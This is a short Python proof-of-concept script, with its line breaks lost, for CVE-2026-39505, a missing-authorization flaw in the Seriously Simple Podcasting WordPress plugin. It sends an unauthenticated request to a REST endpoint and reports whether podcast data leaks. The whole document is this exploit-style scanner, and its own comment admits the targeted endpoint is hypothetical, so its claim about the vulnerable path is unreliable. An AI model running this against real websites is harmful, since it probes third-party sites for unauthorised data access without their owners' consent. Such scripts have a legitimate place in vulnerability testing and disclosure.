CVE-2026-39505

import requests def check_cve_2026_39505(target_url): """ PoC for CVE-2026-39505: Missing Authorization in Seriously Simple Podcasting. Attempts to access a restricted endpoint without authentication. """ # Hypothetical vulnerable endpoint based on plugin structure # This endpoint typically requires authentication but is exposed due to the bug. api_endpoint = "/wp-json/ss-podcasting/v1/podcasts/all" try: full_url = f"{target_url.rstrip('/')}{api_endpoint}" headers = { "User-Agent": "CVE-2026-39505-Scanner/1.0" } response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Check if we actually received podcast data (Confidentiality Leak) if data and isinstance(data, list): print(f"[+] Vulnerability Confirmed at: {full_url}") print(f"[+] Successfully retrieved data without authentication.") return True print("[-] Vulnerability not detected or endpoint requires patch.") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False except ValueError: print("[-] Response was not valid JSON.") return False # Usage Example # target = "http://example-wordpress-site.com" # check_cve_2026_39505(target)

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